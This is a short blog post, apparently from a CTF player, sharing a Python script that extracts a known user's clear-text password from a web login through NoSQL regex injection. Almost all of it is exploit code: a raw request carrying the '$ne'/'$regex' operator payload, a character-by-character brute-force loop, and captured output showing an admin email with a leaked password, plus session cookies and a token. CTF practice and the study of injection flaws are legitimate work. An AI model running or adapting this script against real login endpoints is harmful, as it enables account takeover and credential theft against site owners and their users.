cool head picture

ＵＮＬＥ⛧ＳＨ　ＴＨＥ　ＢＥＡＳＴ　ト何ゼ

noSQL Injection Snippet

May 11, 2020 // echel0n

I wrote this snippet while playing at AKINCILAR CTF.

It is a little demonstration how to get clear-text password of a known user.


  1. #!/usr/bin/env python

  2. import requests

  3. import string

  4. 

  5. """

  6. POST /login HTTP/1.1

  7. 

  8. Host: mshcsvl1y3k4eia4n3o1hk0l41h.com:2053

  9. 

  10. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0

  11. 

  12. 

  13. Referer: https://mshcsvl1y3k4eia4n3o1hk0l41h.com:2053/login.html

  14. Cookie: __cfduid=d4d6ac2753086f764e2ae85cdadb05f2f1587263049; PHPSESSID=3459c4d41ff809667a1b7a043547470a; token=12dea96fec20593566ab75692c9949596833adc9

  15. {"email":{ "$ne": "1"},"password":{"$regex": ""}}

  16. """

  17. 

  18. """

  19. >Bilgileriniz => E-Posta:

  20. admin@cyber-warrior.org => Sifre: cNLP2HMgIPveZivqPcWS0ioKu0jjqwa3,

  21. admin@cyber-warrior.org,

  22. {{7*7}}@gmail.com,

  23. info@support.asdsa,

  24. infox@support.asds

  25. """

  26. 

  27. 

  28. def post_that_shit(last):

  29.     URL =  "https://mshcsvl1y3k4eia4n3o1hk0l41h.com:2053/login"

  30.     headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}

  31.     COOKIES = {}

  32.     USERNAME = "{{7*7}}@gmail.com"

  33.     pre_req = requests.get(URL + ".html")

  34.     COOKIES = pre_req.cookies

  35.     alph = string.ascii_lowercase + string.ascii_uppercase + string.digits

  36.     temp_string = ""

  37.     payload = ""

  38.     ERR_STR = "Hatas"

  39.     print("Hi!")

  40.     if last is not None:

  41.         payload = last

  42.     for stonk in alph:

  43.         post_data = {"email": USERNAME ,"password":{"$regex": "^" + payload + stonk}}

  44.         print("Trying ma best. -> " + payload + stonk)

  45.         req = requests.post(URL,cookies=COOKIES, json=post_data, headers=headers)

  46.         if ERR_STR not in req.text:

  47.             if last is None:

  48.                 last = ""

  49.             print("Last Payload is --> " + last + stonk)

  50.             return payload + stonk

  51.     return last

  52. 

  53. if __name__ == "__main__":

  54.     a = None

  55.     resp = None

  56.     while True:

  57.         resp = post_that_shit(a)

  58.         if resp  == a:

  59.             print("Finished --> here is your passwd == " + resp)

  60.             break

  61.         a = resp